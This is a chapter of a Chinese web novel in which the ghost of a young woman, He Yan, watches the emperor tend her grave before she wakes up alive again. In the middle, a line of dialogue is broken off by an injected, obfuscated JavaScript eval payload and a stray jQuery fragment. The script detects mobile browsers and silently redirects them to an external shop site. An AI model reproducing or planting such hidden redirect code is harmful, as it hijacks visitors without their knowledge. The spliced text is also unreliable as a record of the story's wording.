大雪下了足足三天,在和嫣的墓前堆上了厚厚的积雪,连碑上的字迹都有些看不清了。
和嫣却不在意。
她坐在自己的碑上,哼着生前盛如意时常拿来哄她的小调,没穿罗袜的脚随着歌声有一下没一下地来回晃荡。
这已是她死后的第七年了。
真久啊,久到她已经记不清自己睁开眼看到一块刻着自己姓名的墓碑时是怎样的心情。
大抵是有些恨的。
她死在了最美好的年岁,没能见到阿耶最后一面,背负着屈辱,在冰冷的内宫之中,葬送给了权力与阴谋。
然后呢?
她看到了跪在自己碑前久久不肯离去的阿耶,看到了大家悲切的目光。
那点恨意便渐渐被遗憾取代了。
再后来,她被困在这方寸空间里,看着叶生叶落,听着鸟叫虫鸣,嘈杂的心境反倒在这日复一日的无趣中趋于平静。
若说还有什么难以释怀的事情,大概就是自己没能真切地走完这一生。
她的人生实在有些太短。
“哒哒哒哒——”
渐近的马蹄声打断了和嫣的思绪。
漫不经心的眸子倏然亮起,她从碑上一跃而下,足尖稳稳地踩在雪面上然后落下。虽没有任何的实感,可她还是凭着本能急急朝前走了几步,垫着脚往马蹄声传来的方向张望。
和嫣的墓立的偏,旬日里除了扫洒的人,连个行经的路人都鲜少见到。
可通往坟茔所在的小道却早早有人扫了雪,撒了细盐,纵是在这冰天雪地里也不至于叫马匹滑蹄。
远远的,车驾被四匹骏马牵引着,不疾不徐,玄色车身低调素雅,车檐下悬着的暗金配饰又隐隐透出几分华贵。
车辕上一左一右坐了两名青衣男子,不等牵着缰绳的男子将马车勒停,另一人已动作麻利地翻身下车,匆匆上前将一块裹着厚实皮毛的软垫和一个檀木食盒摆在和嫣墓前。
那厢牵绳的男子也下了车,抽出捆在车辕边上的油纸伞撑开,抬臂轻敲了两下车门,恭声道:“陛下,到了。”
有细碎的声响自车厢中传出,如同话本中万众瞩目的主角头回露面一般,紧闭的车门被人由内推开。
车上下来一人,肩披雪白暗金纹披袍,里头是件玄色的锦衣,腰间蹀躞带上坠着白玉玉环与一只半新不旧的月白荷包。
墨发用金冠束起,阳光斜打在冠心赤珠上,仿若一轮灼灼燃烧的红日,熠熠生辉。
可要与他通身的气度相比,又显得黯淡了。
面上分明是温润俊秀的线条,却生就了一双凌厉凤眼。眼睑不过微微抬起,铺天盖地的威严便在顷刻间压了下来。
漆黑如墨的眸子,淡地瞧不见丝毫波澜。
只是和嫣全然没有感受到这份威慑。
她一手环胸撑肘,一手半支香腮,仔仔细细地将对方上下打量了一番,旋即一脸无奈地摇了摇头:这人如今瞧着是日益无趣了。
来人瞧不见她的这番做派,抬手摒退二人,缓步走到了和嫣碑前,自袖间抽出一方青帕,仔仔细细地为她擦拭碑上雪水。
和嫣跟在后头,歪着脑袋看他认真神情,和他鬓边早早生出的华发。
忍不住碎碎念他几句:“不过是些雪水,太阳出来烤烤便干了,哪里需要这么仔细。”
“白发又多了,都没到而立之年呢,太医院开的方子你用了吗?”
“哎呀!尉迟灏你有没有听见我说话!”
自然是听不见的。
和嫣泄气了,看着半跪在自己碑前无动于衷的男子,干脆盘腿坐下。
——她是会选的,特地坐在了铺了软垫的位置上,正好可以看见他半跪的背影,也正好看不见他在她的名字上流连了许久的指尖。
尉迟灏几乎将整块墓碑都擦拭了一遍,直到上头再无一滴雪水,他才缓缓起身,解开大氅,披到了她的碑上。
和嫣一跃而起,扒着那身披袍莫名其妙:这是个什么章程?
“盛娘子日前寻我,道是梦见你与她撒娇埋怨天气冷,要置办身缀兔毛的披袍。”他开口,如醴泉潺潺,清润绵长。
舒展的眉眼淡化了凤眸的威严,他薄唇含笑,又有了几许少年时得见的温文尔雅。
“那年冬狩,你便是穿了身白色披袍,领口袖口围了一圈雪白毛领,骑在银霜上远远瞧着倒像是只白兔。长安城的少年郎们瞧了便不愿走,尽数跟在你后头,倒让崔子平得了便宜,在父皇面前好好长了次脸面。”
陈年旧事,和嫣凝神想了片刻方才想起那日情形,忍不住自得:“那日是我与崔子平说好了要让他赢,若非我故意射歪那些长安子弟的箭,哪有他崔子平的好事。”
“你的那身披袍,盛娘子寻不到了,不知是烧了还是丢了。”他还在继续说着,“这是少府监新做的,你先将就着,来日再送新的来。”
和嫣抖抖眉梢:“送来我也穿不上呀,浪费!”
尉迟灏已俯身打开那个在地上放了好一会的食盒。
里头竟是个温瓶。
“汝王派人送来的。你出生时他埋了一壶在灵州府衙后院,本是要等你出嫁时再启封,没想到一放便是这么些年。”他的声音沉了一些。
酒还温着,他从食盒中取出两个琉璃盏一一斟满,将其中一盏放在碑前,自己则执盏入座,“汝王来不了,吩咐我替他敬你一杯。”
和嫣抿了抿唇,伸手去拿,葱白指尖却直直穿过了琉璃盏,在阳光下显得落寞又无助。
她收回手,抱膝挨着墓碑坐下。
许是觉得话题太沉,尉迟灏将将空盏斟满,忽而笑了:“前几日雪大,将许娘子耽搁在洛阳了,许是要等年关才能入城。只她心细,将要带予你的物什先一步运了回来,倒不至于被雪浇坏。”
和嫣的情绪来得快去得也快,抖抖耳朵的功夫,柳眉长睫俱飞:“都有什么?新铜镜还是漆器?要有糟鱼、糖蜜就好了……若有广陵酒更是极好!”
她兴致盎然,清润的眸子闪闪发光。
全然忘了自己已是一缕孤魂。
“和
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17766303|209706||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
嫣。”
他突然唤了她的名字。
不论是这七年来,还是生前的十八年,他从来没有喊过她的名字。
雪又落了下来。
尉迟灏坐在和嫣碑前,任凭雪花落在他的眉梢肩头。
他的目光应当是落在墓碑上的,可和嫣莫名觉得,他是真的看见了自己。
他脉脉凝视着的,是她的眼睛。
“你可曾恨过我?”他问道。
“没有哦。”和嫣脑袋枕着手臂,声音很轻,“我从来都没有恨过你。”
“是我害了你,也没能救得了你。”
“害我的人不是你,当初你自身难保,如何救地了我。”
“盛娘子总说我多心,你最是和光同尘,听见这话恐怕还要笑我自作多情,哪里就轻易到了‘恨’字。”
和嫣忍不住翘起嘴角:“盛姨真懂我。”
一句一句,明明阴阳相隔,在此时却像是真的围炉饮酒,对坐而谈。
和嫣望着他的眼睛。
其实生前与他并不相熟。
别说谈心了,连见面的次数也不过局限在宫中偶然间的几次回眸。
没成想在她死后,他却是她坟前的常客。
是因为愧疚么,觉得她是因自己而死,所以才常常过来祭奠,以消心魔?
和嫣听到他轻笑了一声:“大抵是恨的,所以连让我在梦中见你一面都不愿。”
雪花落入杯盏,随着涟漪缓缓消融。
“和嫣,”他望着碑上的名字,声音轻地仿若雪落,“我好想你。”
和嫣怔怔看他。
她是世间的一缕孤魂,应当已经失去了凡人才能感受到的温度,可在这一刻,她却觉得自己被他眼中的情愫灼到,眼眶无端发烫。
一滴泪从她的眼中滑落。
“尉迟灏……”
她想说些什么,一阵猛烈的下坠感却骤然袭来,天旋地转,眼前一片漆黑。
“哐当——”
一声脆响,是瓷器落地碎裂的声音。
“怎么了出什么事了?!”秋卉猛然惊醒,揉着眼四下张望片刻,才发现原来是书案上的茶盏摔在了地上,碎了一地。
“小姐,这是最后一只青瓷了,姨娘说了,再摔,买新杯盏的银钱要从你月钱里扣。”
她忍不住还想多念叨自家毛毛躁躁的小姐几句,一抬眼,却被眼前的一幕吓了一跳,“小姐,你怎么哭了?”
和嫣还在愣神,耳边是秋卉熟悉的声音,鼻尖是她惯用冰片香,有风自窗扉穿过,拂在脸上,吹起鬓边发丝。
她下意识地抬手摸了摸自己的脸颊。
指尖摸到一片濡湿。
又低头看自己的手:纤细、白皙,攥紧之后可以感受到掌心的温度。
和嫣盯着自己的手看了好一会,忽而抬手,朝着自己的脸颊狠狠拧了一把。
秋卉更诧异了:“小姐?”
“嘶——”和嫣捂着脸颊,疼得呲牙咧嘴。
她还活着,真的还活着。